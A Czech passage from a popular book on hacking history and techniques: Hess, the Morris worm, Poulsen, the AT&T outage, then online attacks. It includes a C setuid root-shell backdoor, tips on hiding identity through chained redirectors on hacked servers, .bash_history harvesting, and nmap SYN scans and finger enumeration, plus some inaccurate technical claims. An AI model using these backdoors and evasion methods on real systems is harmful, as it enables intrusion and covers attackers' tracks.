Československá literární komunita
Tak jako generace autorů před vámi, publikujte svoji psanou tvorbu. Podělte se o svoje názory a sbírejte zpětnou vazbu na svoje díla. Inspirujte se a učte od nejlepších.
Přidejte seJak hackoval CZert
Autor
setuid
Jan Janda
Hacking – odvrácená
tvář Internetu
Úvod
Než začnu popisovat různé hackerské fígle, chtěl bych nejenom
čtenáře upozornit, že kniha si neklade za cíl učit hackovat. To se
snad ani naučit nedá – jako hacker se člověk musí narodit.
S rozvojem Internetu se tento problém určitě objeví v mnohem větším
rozsahu, než je tomu v současnosti. Touto knihou chci upozornit,
jak nebezpečný může být pro Internet zkušený a téměř profesionální
hacker. Určitě jste slyšeli o dělení podobných lidí na lamery a
hackery. Všeobecně se za hackera považuje člověk, který na rozdíl
od lamera cílevědomě neškodí. Hacker je tedy člověk, který stojí
tak nějak nad věcí. Má značné znalosti v oblasti operačních
systémů, především Linuxu, umí perfektně jazyk C a ostatní jazyky
mu také nejsou cizí. Přesto svoje obrovské znalosti nezneužívá.
Lamer je člověk, který má velký zájem o počítače, ale většinou je
špatným programátorem a má dost povrchní znalosti. Velmi často si
takoví lidé tímto “lameroidním” chováním léčí nějaké problémy.
Potřebné informace pro svoji nekalou činnost získávají právě od
výše jmenovaných hackerů. Přesto obě skupiny těchto lidí mají něco
společného. Jsou většinou výrazně chytřejší než ostatní lidé. To je
jejich největší chyba. Člověk dost těžce nese skutečnost, že je
někdo chytřejší než on sám. Chcete-li napsat kvalitní knihu o
hackingu, nemůžete se vyhnout Unixu. Bez jeho znalosti nejste ani
lamerem. Když říkám znalosti, tak tím myslím téměř dokonalou
znalost tohoto systému. Zkušenost na Internetu říká, že největším
nebezpečím pro Internet nejsou hackeři a lameři, ale nezkušený
administrátor serveru. Ten může způsobit svojí benevolencí značné
problémy nejenom sobě a svým uživatelům, ale i ostatním uživatelům
Internetu. Jeden špatně zabezpečený server může spustit lavinu
dalších napadení. Kde to skončí? Já to nevím.
Hacking na Internetu začal snad okamžitě, když se propojily
počítače protokolem TCP/IP. Vždycky se najdou lidé, pro které je to
intelektuální výzva. Síť je tady od toho, aby se prozkoumala. Ale o
tom až v dalších částech této knihy. Ještě na závěr úvodní části si
dovolím ocitovat “hackerův manifest”, který byl uveřejněn před
mnoha lety:
Jsem hacker, vstup do mého světa. Jsem chytřejší než většina ostatních, a ty hovadiny, co nás
učej, mě pěkně nudí. Dneska jsem na něco přišel. Našel počítač. Dělá přesně to, co chci. Když
udělá chybu, tak jen proto, že jsem to zvoral já. Ne proto, že se mu nelíbím…. nebo že bych ho
nějak ohrožoval…. elektronický impuls se šíří telefonní linkou jako heroin v žilách
narkomana, hledá se úkryt před všudypřítomnou duševní nemohoucností… je na základní
desce počítače. Tohle je teď náš svět…. svět elektronů a spínačů, nádhera modulační rychlosti.
Využíváme služeb, které zde existují a neplatíme za něco, co by mohlo být za babku, jen kdyby
to neměli v rukách nenažraní zazobanci, a vy nás máte za zločince…. Chceme rozšiřovat svoje
poznání… a vy nás máte za zločince….. To vy sestrojujete atomové bomby, vedete války,
vraždíte, podvádíte a lžete nám, snažíte se nás přesvědčit, že to neděláte jen pro své dobro, ale
zločinci jsme my. Ano, jsem zločinec. Spáchal jsem zločin ze zvědavosti… Jsem zločinec,
protože jsem chytřejší než vy, což mi nikdy nedokážete odpustit. Jsem a hacker a tohle je můj
manifest. Možná zastavíte jednoho, ale nepodaří se vám nás zničit…. koneckonců, jsme všichni
stejní.
Pohled do historie
Jak jsem napsal v úvodu, hacking na Internetu začal hned od jeho
vzniku. Táhne se celou historii Internetu jako červená nit. Svět
Internetu je podobný tomu lidskému. Jsou zde slušní lidé, ale i
zloději. První vážný případ hackerských útoků na počítačové sítě
založené na protokolu TCP/IP se stal na konci 80 let. Hlavním
hrdinou tohoto příběhu byl německý hacker Markus Hess. Tento
německý hacker měl kontakt na KGB a prodával jim tajné informace,
které kradl z vojenských Unixů v USA. Ze svého počítače v Německu,
se připojoval pomocí terminálového programu s podporou protokolu
telnet do Milnetu. (předchůdce Internetu). Používal k tomu modem o
rychlosti 2400K/bs, což je dnes téměř k smíchu. Ovšem pracujete-li
ve znakovém režimu Unixu, nebo dnes Linuxu, může být tato rychlost
dostatečná.
Pro odeslání ďábelského kódu exploitu (slovo vysvětlím později) to
stačí. Markus Hess se pomocí aplikace telnet přihlašoval do systému
a kradl zde tajné vojenské informace NATO. Využíval k tomu různá
vyhrazená jména a hesla. Ovšem k tomu, aby mohl získat většinu
těchto informací potřeboval být na systému administrátorem. Jak to
dělal? Využíval chyby v programu Emacs. Tento stařičký editor umí
mimo jiné také kopírovat soubory. Jeho autor tento problém vyřešil
dost svérazně. Editor umožňoval i běžným uživatelům kopírovat data
do systémových adresářů, kam by měl mít právo zápisu pouze
superuživatel.
Trochu si vysvětlíme jak funguje Unix. Je to víceuživatelský
operační systém, kde běžní uživatelé mají omezená práva. V praxi to
vypadá tak, že každý uživatel má svůj domácí adresář, kde si smí
dělat co chce. Přesněji řečeno to, co mu dovolí superuživatel. Ten
může na systému úplně všechno. Právě pomocí editoru Emacs, který
omylem zvyšoval každému uživateli pravomoci, získal Hess
superuživatelská oprávnění. Ovšem sama možnost zápisu do
systémových adresářů k tomu nestačí. K tomu je třeba mnohem více.
V Unixu existuje program, který se jmenuje Atrun. Ten se spouští
každých pět minut a kontroluje celý systém. Tento program se
spouští s nejvyšší prioritou – s právy administrátora. Markus Hess
tento program, díky děravému editoru Emacs, nahradil svým vlastním
ďábelským programem, který ho změnil v superuživatele. Odborník
možná namítne, že každý program, který běží na systému má takové
oprávnění, jaké má jeho vlastník. To je pravda, ale Emacs toto
pravidlo nějak ignoroval a přepsanému souboru zachoval jeho původní
vlastnosti, takže proces nadále běžel s právy superuživatele
(roota).
Jakým programem tedy Hess nahradil Atrun? V této souvislosti mohu
vysvětlit pojem exploit. Právě zdrojový kód, který dokázal využít
chyby v programu Emacs a zprostředkoval získání administrátorských
práv se nazývá exploit. Obecně lze říci, že exploit je program,
který využívá nějaké chyby systému nebo programu a zprostředkuje
získání vyšších pravomocí na Unixu (o Windows zatím mlčím). (Tak mě
napadlo, jestli něco podobného nefunguje i mezi lidmi). Často se
ještě používá výraz remote exploit. Ten umí to samé, ale provádí
popsané operace vzdáleně (remote). Teď se můžeme dostat k vlastnímu
programu, kterým Hess nahradil program Atrun. Stačil by mu k tomu
obyčejný wrapper, který spustí rootshell. Na Linuxu by to mohl být
např tento program:
main(int argc, char **argv) {
if (argc>1 && !strcmp(argv[1],"hess")) {
setuid(0); setgid(0);
execl("/bin/sh", "-i", 0);
}
}
Ani vlastně nemusí čekat pět minut, ale stačí zadat $jmeno hess a
máme rootshell. Nevím jaký program přesně použil Hess, ale možností
je mnoho. Stačí např. zkopírovat /bin/bash a nastavit mu setuid bit
a následně spustit zkopírovaný bash. Markus Hess takto ovládal
mnoho počítačů NATO. Problém je v tom, že ovládnutí jednoho
počítače v uzavřené síti TCP/IP nastartuje proces ovládnutí dalších
počítačů. Je to jako princip nejslabšího článku řetězu. Problém byl
také v tom, že v minulosti používali tyto sítě pouze vědci, kteří
se většinou znali a důvěřovali si. Jestliže se mezi ně dostane
hacker s cílem programově škodit, je to katastrofa. Hacker může
falšovat maily, vydávat se za někoho jiného aj. Podobným způsobem
vytáhl z důvěřivých uživatelů jejich přihlašovací údaje a dostával
se do dalších systémů, kde použil svou fintu s programem Emacs.
Dokonce získal práva administrátora na hlavním serveru velení
vojenského letectva USA. Pomáhala mu v tom i otevřenost Unixu. Když
amíci na začátku sedmdesátých let učili Unix TCP/IP, snažili se co
nejvíce zpříjemnit život uživatelům. Důkazem toho jsou příkazy rcp,
rlogin nebo rsh. Všechny umožňují po určitém nastavení, provádět
operace na vzdáleném stroji, aniž by uživatel zadal autentizační
údaje. To všechno hrálo Hessovi do karet. Ale měl smůlu. Jeho
kamarádi z Chaos computer clubu ho před FBI varovali.
Ignoroval je! FBI pracuje pomalu, ale jistě. Trvalo hodně dlouho,
než se do případu pustili. První kdo objevil jeho hackerské
aktivity, byl jistý Cliff Stoll. I když Hess za sebou mazal stopy,
udělal někde chybu. Účtovací systém nesouhlasil o pouhých 75 centů.
To byl důkaz, že někdo používal počítač a neplatil. Tento
nedoplatek byl tak malý, až byl podezřelý. Cliff Stoll později
nalezl účet, jehož majitel již dávno pracoval jinde, přesto jeho
konto někdo používal (klasika). Tento příběh je velmi dobře popsán
v knize Kukaččí vejce a nechci tady tuto knihu citovat. Hesse tak
dokonale sledovali, že na připojené tiskárně tiskli každý jeho úder
na klávesnici, aniž to hacker tušil. To byl začátek jeho konce.
Přesto to trvalo téměř rok, než lokalizovali jeho tel. číslo, ze
kterého se připojoval modemem do sítě. Dokonce Stoll správně určil,
že Hess je kuřák a jaké cigarety kouří. Hess, si totiž jednu značku
cigaret vybral jako svoje oblíbené heslo. Nakonec dostal dva roky
natvrdo, ale po roce byl podmíněně propuštěn.
V době, kdy se Hessův případ uzavíral, se objevil další případ –
Robert T.Morris a jeho internetový červ. O tomto problému byly již
popsány stohy papíru a desítky mega dat textu. Na Internetu najdete
o tomto problému velké množství odborného textu, ve kterém se autor
snaží především ohromit čtenáře svojí počítačovou genialitou.
Klasický příklad takového článku najdete např. v jednom čísle
hackerského ezine Prielom na serveru hysteria.sk. Podíváme se na
tento problém trochu lidově, aby to pochopil každý. Vyjdeme-li
z definice exploitu, byl v podstatě zdrojový kód červa exploit,
protože využíval chyb v programech Sendmail a Finger. To co
způsobil, byl vedlejší produkt činnosti exploitu, ale rozhodně ne
náhodný. Červ se prostě kopíroval z jednoho počítače na druhý
neuvěřitelnou rychlostí a napadl asi dva tisíce počítačů. To bylo
v té době obrovské množství. Červa lze tak trochu přirovnat
k legendárnímu viru I love You. Je mezi nimi jeden zásadní rozdíl.
Zatímco I love You se šířil především díky hlouposti uživatelů,
Morrisonův červ se rozšířil automaticky a na uživatelích zcela
nezávisle. K tomu aby se červ mohl šířit, musel autor tohoto
programu nějak zajistit možnost, zadat příkaz operačnímu systému,
který červ napadl. Jak to dělal? Určitě jste někdy slyšeli anglický
výraz buffer owerflow. Podobnými výrazy se to doslova hemží na
serveru underground.cz, aniž by někdo normálním lidem vysvětlil o
co jde. Překlad znamená přetečení zásobníku. V dnešní době se
podobné chyby hledají odborníkům na bezpečnost dobře. Zdrojový kód
např. systému Linux je otevřený a podobné chyby lze objevit. Jak
tedy Morris zajistil provedení svého kódu na vzdáleném stroji?
Využíval k tomu mimo jiné chybu programu Finger. Jak? Při pohledu
do zdrojového textu finger démona zjistil, že velikost zásobníku
pro data, které démon přijímá je např. 512 bytů. Co se stane,
pošlete-li dat např. 540 byte? Těch přebytečných 28 byte se provede
jako příkaz Unixu, nebo chcete-li Linuxu. Protože podobné procesy
jako Finger běží s právy administrátora, poběží s těmito právy i
proces, který spustí těch přebytečných 28 byte. To je ovšem průser
že? Rozhodně to nezkoušejte doma na Linuxu, protože tyto chyby jsou
již dávno opraveny (alespoň doufám). Morrisonův červ byl prvním
globálním útokem na celý Internet. Jak rychle se rozšířil, tak
rychle zmizel. Přesto to bylo první vážné varování a od té doby se
bezpečnosti začala věnovat mnohem větší pozornost.
Když se hovoří o Internetu, nelze se vyhnout telefonním systémům.
Snad každý uživatel Internetu sní o tom, že bude jednou telefonovat
zadarmo. Nehorázné poplatky za telefonní služby doslova vybízejí
nějak tento systém obejít. Kdysi se na BBS objevil návod, jak
telefonovat na analogových ústřednách zadarmo, respektive za jeden
impuls. Šlo o to, že jste po vytočení čísla zaslali vaší ústředně
ještě jeden impuls, těsně před navázáním spojení. Ústředna to
vyhodnotila tak, jako že hovor skončil a vy jste mohli telefonovat
třeba celý den za jeden impuls. Problém byl v tom, že jste neměli
žádnou zpětnou informaci o zastavení počítadla. To jste poznali
teprve na konci měsíce pohledem na telefonní účet. V praxi jsem to
nikdy nevyzkoušel, protože jsem telefon v té době neměl a připojen
jsem na digitální ústřednu. Údajně to fungovalo.
Prvním velkým případem profesionálního hackera (Phreakera), který
si telefonní systémy přivlastnil a dělal si s nimi co chtěl, byl
Kevin Poulsen. Kevin za telefonní služby nikdy neplatil a nejenom
to. Velmi dobře je to popsáno v knize s názvem “Hacker - Podivný
život a zločiny počítačového genia Kevina Poulsena”, kterou napsal
Jonathan Littman. Kevin nikdy nepoznal svoje rodiče a žil pouze se
svou adoptivní matkou. Možná také proto se chtěl pomstít celému
světu za svůj osud. Kevin byl docela obyčejný zločinec, protože se
vloupával do telefonních ústředen, kde kradl kromě jiného především
informace, které uměl geniálně zneužít. Svoji genialitu dotáhl
téměř k dokonalosti. Klasickým příkladem jsou jeho podvody
s rozhlasovou soutěží o ceny. Také u nás se podobné soutěže
objevují. Musíte neustále poslouchat určitou rozhlasovou stanici, a
když zazní předem určené tři po sobě následující skladby, rychle
zavolat do redakce radia. Budete-li např. 102. volající v pořadí,
vyhrajete zbrusu nové porsche 944 S2 se stahovací střechou.
Nevěříte? Přečtěte si výše jmenovanou knihu. Autor v ní geniálně
líčí, jak hackeři ovládali všechny telefonní linky do rozhlasová
stanice a měli vše pod kontrolou. Odpočítávali jednotlivé volající
do soutěže, a když měl přijít sto druhý volající, všechny linky
odpojili a připojili se sami. Nikdo na nic nepřišel. Každý takto
postupně vyhrál své zbrusu nové porsche. Nakonec to s Kevinem
Poulsenem dopadlo tak, jako s druhým legendárním Kevinem - zavřeli
je oba. Oba měli jednu vadu – byli to notoričtí hackeři, kteří
neuměli přestat.
V této době se stala ve Spojených státech další závažná událost,
která otřásla celým telefonním systémem v USA. 15. ledna 1990 se
zhroutila většina telefonních ústředen společnosti AT&T. Byla to
zlověstná událost, která přišla náhle a nečekaně, jako blesk
z čisté modré oblohy. Tisíce uživatelů byly bez telefonního
spojení. V prvních hodinách ani specialisté AT&T, nevěděli o co jde
a nikdo to nedokázal vysvětlit. Začali vše svádět na hackery. Ale
tentokrát neprávem. Nakonec se zjistilo, že kolaps způsobila
nepatrná softwarová chyba, která tikala jako časovaná bomba a
čekala na svoji příležitost. Pojďme se společně na tuto chybu
podívat podrobněji. Moderní telefonní sítě jsou absolutně závislé
na softwaru. Kolaps tel. ústředen AT&T, byl způsoben pokusem o
vylepšení tohoto řídícího softwaru. Bohužel zůstalo jenom při
pokusu. AT&T používala software , který se jmenoval Systém 7 a
používaly ho ústředny 4ESS a 44E14. Software Systém 7, postupně
nahrazoval starší, Systém 6. Systém 7 byl velmi moderní a umožňoval
mimo jiné i velmi rychlé přepnutí na záložní síť v případě jakékoli
poruchy hlavní sítě. Speciálně pro ústředny typu 4ESS, byl tento
software ještě upraven tak, aby přepnutí na záložní síť bylo ještě
rychlejší. Právě tato malá úprava zdrojového kódu v jazyce C, byla
kamenem úrazu. Šlo o to, že byl prodloužen cyklus “do…while”. V něm
byla konstrukce “switch”. V konstrukci “switch” byla klauzule “if”
a v ní byl příkaz “break”. Ten měl přerušit klauzuli “if”. Místo
toho přerušil konstrukci “switch”. Jasná programátorská chyba.
Firma AT&T se snažila tyto informace utajit, ale nepodařilo se jim
to. Ústředny pracují tak, že mají téměř vlastní inteligenci.
Monitorují stav ostatních ústředen v rámci sítě. To je např. jaká
ústředna je mimo provoz, je-li nějaká přetížena, pracují-li
normálně, nepotřebuje-li nějaká pomoc a podobně. Nový upravený
software se podílel na zpracování těchto informací od ostatních
ústředen. Výše uvedená softwarová chyba se projevila pouze za velmi
specifických okolností. Ústředny 4ESS jsou naprogramovány tak, že
při nějakých problémech (chybový stav), se samovolně restartují a
zbaví se všech přicházejících hovorů a problém odstraní. To je
velmi důmyslné. Zároveň odešlou všem ostatním ústřednám signál, že
jsou opět připraveny k provozu. Ostatní ústředny tento signál
přijmou a zapíší do své paměti. Právě v době, kdy ústředna
aktualizovala tyto údaje o ostatních ústřednách se uplatnila výše
naznačená softwarová chyba. Jestliže v této době, přišly do
ústředny dva nové hovory během jedné setiny vteřiny, byla malá část
jejich dat přepsána. Jenomže ústředna byla naprogramována tak, aby
neustále sledovala svůj stav. Když zjistila, že část jejich dat
byla přepsána provedla restart. Tuto skutečnost odeslala ostatním
ústřednám, které aktualizovaly svoje stavové registry o jiných
ústřednách. Tím se ovšem geometrickou řadou zvyšuje možnost
příchodu dvou hovorů během jedné setiny vteřiny v době, kdy
ústředny aktualizují informace o ostatních ústřednách. Je to jako
řetězová reakce. Cílový stav byl ten, že se ústředny neustále
restartovaly pořád dokola a nespojovaly hovory. Nakonec kdo ví,
třeba tuto chybu úmyslně naprogramoval nějaký hacker u AT&T.
Tento výlet do historie zakončím pohledem do českých a slovenských
luhů a hájů. Zde jako by neplatilo rozdělení Česko-Slovenska v roce
1993. Myslím, že psát o Czertu nemá význam. Jednalo se o partu
chytrých mladíků, kteří tímto způsobem bojovali s pubertou (někteří
z nich, s ní bojují ještě dnes). Ono hackování ala Czert je poměrně
jednoduché. Jestliže např. pracujete jako správce internetového
serveru u nějaké počítačové firmy, tak máte přístup k potřebným
informacím. Večer se z vás stane hacker a změníte www stránky
serveru svého zaměstnavatele. A hle, je z vás Czert. V současnosti
se tito ”hackeři” prezentují několika servery v Čechách a na
Slovensku. Dělají si srandu z lidí a myslí si o sobě, že jsou střed
světa (alespoň toho počítačového). Ale koukám, že jsem se
z historie nějak dostal do současnosti. Tak vzhůru do ní!
Hacking on-line
Pozorný čtenář si určitě všiml, že jsem ještě nepoužil slovo
”Windows”. To má svoji logiku. Psal jsem o historii hackingu na
Internetu a v této době slovo windows mělo pouze svůj původní
význam. Teprve na začátku devadesátých let, se Microsoft vrhnul na
Internet se svými Windows NT. Hackeři většinou tento systém nemají
rádi. Asi proto, že jeho kód je uzavřený a nemohou se v něm vrtat.
A také tupě klikat myší je pod jejich úroveň. V jednom článku na
Internetu jsem napsal, že díky Linuxu tiká na Internetu časovaná
bomba. To sice může být pravda, ale také nemusí. Vše totiž záleží
především na administrátorovi tohoto systému. Ale v případě Windows
ta bomba tiká zcela určitě a navíc je atomová. Nedávno uveřejněná
chyba v Outlooku je toho jasným důkazem. Jestliže pouhé otevření
chytře napsaného obyčejného mailu, aktivuje chybu typu buffer
owerflow, o které jsem psal výše, kolik je potom takových chyb
uvnitř systému Windows? Jsem přesvědčen, že stovky. Kdyby Microsoft
zveřejnil zdrojové kódy Windows, tak konference o bezpečnosti, jako
např. Bugtraq, budou plné exploitů na Windows. To by ovšem pro
Internet byla pěkná katastrofa. No nic…jenom jsem chtěl čtenáře
upozornit, že zde se o Windows moc psát nebude. Hlavně proto, že
hackeři svoje lumpárny provádějí především z příkazového řádku
Unixu (dnes hlavně Linuxu). Takže chceme-li mapovat jejich činnost,
musíme se přizpůsobit. Rozhodně nevěřte nikomu, kdo o sobě tvrdí,
že je hacker a přitom používá pouze Windows. I když možné to je,
ale musel by si všechny exploity, které jsou zveřejňovány v jazyce
C a ovládají se na příkazovém řádku Linuxu, přepsat do prostředí
Windows. To bych si raději pořídil Linux.
Nedávno jsem četl na jednom serveru zajímavý názor. Byl psán
v souvislosti s obviněním jednoho hackera NASA. Autor článku si
postěžoval, že servery NATO jsou asi velmi špatně zabezpečeny. Ono
je to problém. Musíme si uvědomit, že v podobných institucích
pracují hlavně vědci, kteří spolu dost intenzivně komunikují přes
Internet. U nás to jsou např. různé vědecké ústavy, jako např.
astronomické ústavy aj. Zde používají na serverech především Unix
nebo Linux. Systém je standardně zabezpečen. Jsou zde povoleny
služby telnet, ssh, ftp, finger aj. To sice na první pohled vypadá,
že bezpečnost systému nebude dobrá, ale zaměstnanci těchto
institucí spolu potřebují komunikovat bez problémů. Fingerem si
zkusí, je-li kolega u počítače a už spolu talkují. Zabezpečit
takový server pomocí firewallu, by tuto komunikaci a otevřenost
systému komplikovalo. Nedávno jsem viděl inzerát jedné české firmy,
která nabízela firewall na jedné disketě za 200 tisíc korun! Je
sice pravda, že naprogramovat kvalitní firewall není jednoduché,
ale vůbec není jisté, že po jeho používání bude systém bezpečnější.
Opak může být pravdou. Je to jako u Windows. Zdrojový kód firewallu
je tajný a kdo vám zaručí, že tam nejsou chyby? Nakonec tam klidně
může být i úmyslný backdoor ( slovo vysvětlím později).
Tak pojďme se konečně podívat na slibovaný hacking on-line. O
anonymitě na Internetu se toho již napsalo hodně. Na Světu Namodro,
dokonce na toto téma vycházel seriál. Text sice zaplnil hodně
prostoru na pevném disku, ale člověk se nedozvěděl nic. Nic o tom,
jak být “stoprocentně” anonymní. Můžeme se klidně podívat na jeden
konkrétní příklad. Určitě si pamatujete na případ zaměstnance České
pojišťovny, který zveřejnil tajné informace o klientech na
Internetu. Nevím přesně jak to udělal, ale tuším, že rozesílal
nějaké maily přes freemailové www servery. Přesto ho policie bez
problémů dopadla. Jak by tuto situaci asi řešil profesionální
hacker? Především by mu bylo jasné, že jde o velký zločin a hackeři
takové věci většinou nedělají. Ale třeba by mu někdo nabídnul
milion dolarů když to zveřejní…možná by ho to zlomilo. Když
vyloučíme trochu komediální metodu, jako např. že si koupí paruku,
nechá narůst vousy a s disketou odjede na druhý konec republiky,
kde to zveřejní z internetové kavárny. Tato metoda má riziko v tom,
že průmyslové kamery mohou nahrát jeho práci na počítači, nebo
pracovník kavárny ho pozná. Také zde může potkat někoho známého aj.
Rozhodně bych ale internetovou kavárnu úplně nevyloučil. Hacker jí
může použít ve spolupráci s redirektory a hacknutým linuxovým
serverem na Internetu. Také připojování z domova dial-up není
ideální. Poskytovatelé Internetu dnes již standardně používají
ISDN, takže mohou každého uživatele identifikovat pomocí tel. logů.
Je to stejné jako u GSM – vidíte číslo volajícího. Výše jmenovaný
redirektor je pro hackera velmi užitečná věcička. Pracuje tak, že
všechny pakety, které na něho přijdou, přesměruje na jinou předem
určenou IP adresu a port. Důležité je to, že redirektor posílá
dalšímu serveru (nebo dalšímu redirektoru)IP adresu serveru na
kterém pracuje. Tímto způsobem maskuje IP adresu původního
odesilatele paketů. Takže takto nějak. Pak se může hacker připojit
z kavárny na freemailový www server takto. Do prohlížeče napíše
toto: http://www.hacknuty_server:31337/. Číslo 31337 je číslo portu, na
kterém naslouchá redirektor na hacknuté mašině. Ten pakety
přesměruje na další redirektor, na další hacknuté mašině atd.
Poslední redirektor může být třeba na serveru v Pákistánu a ten
přesměruje pakety na freemailový server hotmail.com, který příjemci
mailu odešle identifikační IP adresu serveru v Pákistánu. Jak proti
tomu bojovat? Asi nijak. Ma-li hacker na hacknutých mašinách roota
a maže příslušné záznamy v logovacích souborech, tak není možné ho
dopadnout. Rozhodně bych ale doporučoval používaní Internetu
v kavárnách na občanský průkaz. Je to podobné jako ve veřejných
knihovnách. Tam každého uživatele registrují a píší si čas kdy
konkrétní počítač používal. Takže žádná anonymita. Nevím proč to
nejde v kavárnách. Aha! už to vím PENÍZE. Jak omezit množství
hacknutých mašin na Internetu? To záleží na adminech. Oni to mají
vše v rukách. (používají-li Linux).
Nyní bych rád rozebral jeden problém. Opět jsem na Internetu četl,
že v USA byl přijat zákon, podle kterého každý, kdo získá osobní
informace o cizích osobách neautorizovaným přístupem k počítačovému
systému, bude potrestám vězením až na pět let. Co když ale tyto
informace získá autorizovaným přístupem? Kdo je vinen? Je to
nereálné? Ale ne! Píše se rok 1996, přijdete k poskytovateli
Internetu, ten vám zřídí testovací účet. Nechce znát žádné vaše
osobní údaje. Vy přijdete domů, připojíte se do Internetu. Přes FTP
se připojíte na server poskytovatele. Ten vás místo do vašeho
domácího adresáře, přepne do adresáře kořenového. Náhodou vás
napadne stáhnout si rootův soubor .bash_history. Náhodou v něm
najdete osobní údaje o jiných osobách. Právě jste spáchal těžký
zločin. Nebo ne? Opravdu nevím. V minulosti administrátoři často
používali různé skripty a psali na příkazový řádek Linuxu osobní
údaje nových uživatelů. Hlavně jejich přihlašovací údaje do systému
(jméno a heslo). No a vše zůstalo v historii příkazů. Nevím, proč
distribuce Linuxu standardně umožňují tento soubor číst všem
uživatelům. Přitom stačí tak málo – příkazem chmod změnit
přístupová práva a je hotovo. Je sice pravda, že přenos tohoto
souboru je zapsán v logu, ale ty asi nikdo nesleduje.
Pojďme se na takto otevřený Linux podívat trochu podrobněji. Co
hackera může zajímat? Pro tuto chvíli vyloučíme možnost, že se bude
pídit po všemocných právech roota. Takové servery dost často
pracují jako primární nameservery pro další ”podřízené” domény.
Všechny konfigurační soubory programu Named jsou čitelné všem (jak
jinak). Píše se rok 1997, takže je řeč asi o RedHat 5.0. Přes FTP
si může stáhnou soubor /etc/named.boot, který mu odpoví na otázku
kde jsou uloženy konfigurační soubory nameserveru. Z těchto souborů
se např. dozví všechna jména domén, pro které je tento server
primární. Může jich být i několik desítek. Co tak může hacker
s těmito informacemi dělat? První co ho napadne, je tyto servery
nějak zmapovat. Jak? Přesně k tomuto účelu je určen skvělý program,
který se jmenuje nečekaně – Nmap. Tento program není primárně určen
pro hackery, ale těmto lumpům může přinést mnoho ”cenných”
informací. K dispozici je na adrese www.insecure.org/nmap/. Podíváme se
na tento program trochu podrobněji. Hacker si samozřejmě stáhne
zdrojové kódy a přeloží je. Výsledkem překladu je spustitelný
soubor s názvem Nmap. Poslední verze tohoto programu umí mimo jiné
zjistit operační systém vzdáleného serveru. Pojďme se na tuto
zajímavou funkci podívat podrobně. Program Nmap používá externí
databázi, která je uložena v souboru nmap-os-fingerprints. Tento
soubor je potřeba zkopírovat do adresáře /usr/local/share/nmap/.
Zde jej také program nmap standardně hledá. Sem je potřeba také
uložit databázi portů, která se nachází v souboru nmap-services.
Tato databáze není nutná, protože čísla portů pro skenování můžeme
programu předat z příkazového řádku. Spustíte-li nmap bez
parametrů, vypíše se stručná, ale velmi přehledná a dostačující
nápověda, ve které je i příklad použití programu nmap. Skenování
počítače má tu nevýhodu, že způsobuje intenzivní zápis do logů
skenovaného počítače. Skenujete-li např. Linux podívejte se do
souboru /var/log/secure. Zde může najít administrátor informace o
skenování, včetně IP adresy skenujícího počítače. Přesto lze IP
adresu maskovat. Musíte použít skenování pomocí paketů SYN. K tomu
slouží tento příkaz:
[root]lamer /]# nmap –sS –O 192.100.65.1
Toto skenování nezanechá v souboru secure IP adresu! To je dobré
pro hackera, ale špatné pro admina. Typický výstup programu nmap
může vypadat např. takto:
Starting nmap V. 2.53 by fyodor@insecure.org ( www.insecure.org/nmap/ )
Interesting ports on localhost (127.0.0.1):
(The 1511 ports scanned but not shown below are in state: closed)
Port State Service
21/tcp open ftp
23/tcp open telnet
37/tcp open time
70/tcp open gopher
79/tcp open finger
109/tcp open pop-2
110/tcp open pop-3
111/tcp filtered sunrpc
113/tcp open auth
143/tcp open imap2
513/tcp open login
514/tcp open shell
31337/tcp open Backdoor
TCP Sequence Prediction: Class=truly random
Difficulty=9999999 (Good luck!)
Remote operating system guess: Linux 2.0.32-34
Nmap run completed -- 1 IP address (1 host up) scanned in 5 seconds
Ve výpisu je vidět poměrně špatně zabezpečený Linux s kernelem
2.0.32, včetně služby Finger, pomocí které se šířil Morrisonův
červ. Na posledním řádku čísel portů vidíme číslo portu 31337,
které na systému funguje jako tzv. Backdoor (zadní vrátka), která
také podrobně popíšu.
Vraďme se zpátky k našemu poskytovateli Interntu, který nám dial-up
nabízí přes FTP celý strom Linuxu. Zjistili jsme, že IP adresa
jejich serveru je např. 192.100.65.1. Důležitá může být ta jednička
na konci. Ostatní servery se liší právě jenom na posledním místě.
Je to proto, že všechny pracují jakoby na jednom ”segmentu
ethernetu”. Máte-li doma malou počítačovou síť, tak určitě víte, že
chcete-li oživit TCP/IP spojení, musíte zvolit takové adresy, které
se liší pouze na posledním místě. Přesně toto, je ideální stav pro
použití programu Nmap. Napíšete-li na příkazový řádek Linuxu:
[root]lamer /]# nmap –sS –O 192.100.65.1/24 > /etc/nmap
Začne nmap skenovat všechny adresy v rozmezí 192.100.65.1-256. Tam
také pracují všechny servery, které jsou podřízené našemu
nameserveru na Linuxu. Jste-li připojen modemem, můžete jít na
kafe. Já bych si dal pivo. Za pěkně dlouho naleznete výsledek
v souboru /etc/nmap. Již několikrát jsem slíbil, že vysvětlím slovo
backdoor. Ale pěkně popořádku. Pro instalaci backdooru na Unixu,
musí mít hacker UID nula (root). O možnosti jak se k tomuto
oprávnění dostat, bylo napsáno mnoho. Klasika je použití vhodného
remote exploitu. Exploitů je na Internetu obrovské množství a každý
pracuje jinak. Většinou tyto remote exploity potřebují pro svoje
uplatnění právo zápisu na vzdáleném stroji a to může být pro
hackera problém. I když to nemusí být pravda vždy. Typickým
příkladem takového remote exploitu je problém s FTP démonem.
Některé verze mají chybu typu buffer owerflow. Remote exploit na
tuto chybu funguje tak, že speciální program neustále vytváří na
disku vzdáleného stroje vnořené adresáře. FTP server se s tím neumí
vyrovnat a začne se chovat nevypočitatelně. Prostě ho přinutíme,
aby nám spustil příkaz, který mu podstrčíme. Proces, který takto
spustí běží s právy roota. My budeme pro zjednodušení předpokládat,
že nmap našel server, který má povoleny všechny služby včetně
telnetu. Budeme postupovat jako Markus Hess na Unixech NATO a
uhádneme heslo nějakého uživatele. I když se to zdá
nepravděpodobné, opak je pravdou. Devadesát procent všech průniků
se uskuteční touto triviální metodou. Někdy si uživatel zvolí
stejné heslo jako je jeho login name. Je-li ještě povolena služba
Finger, může hacker snadno zjistit všechny uživatele systému. Jak?
Na příkazový řádek napíše:
[root]lamer /]# finger Linux@192.100.65.90
Mají-li uživatelé napsáno v přislušném řádku v /etc/passwd RHS
Linux user, má hacker napůl vyhráno – zná téměř všechny uživatele
systému. Pronikne-li hacker do systému na nějaký cizí účet, je
možnost uplatnění nějakého local root exploitu mnohem
pravděpodobnější. Především proto, že na lokálním systému je mnohem
více objektů, které mohou mít nějakou chybu. Jak získat roota? Budu
popisovat postup, kterým může hacker získat neoprávněně pravomoci
na starší distribuci Linuxu RedHat 3.1. První, co hackera po
proniknutí do Linuxu přes telnet, nebo ssh napadne je pohled do
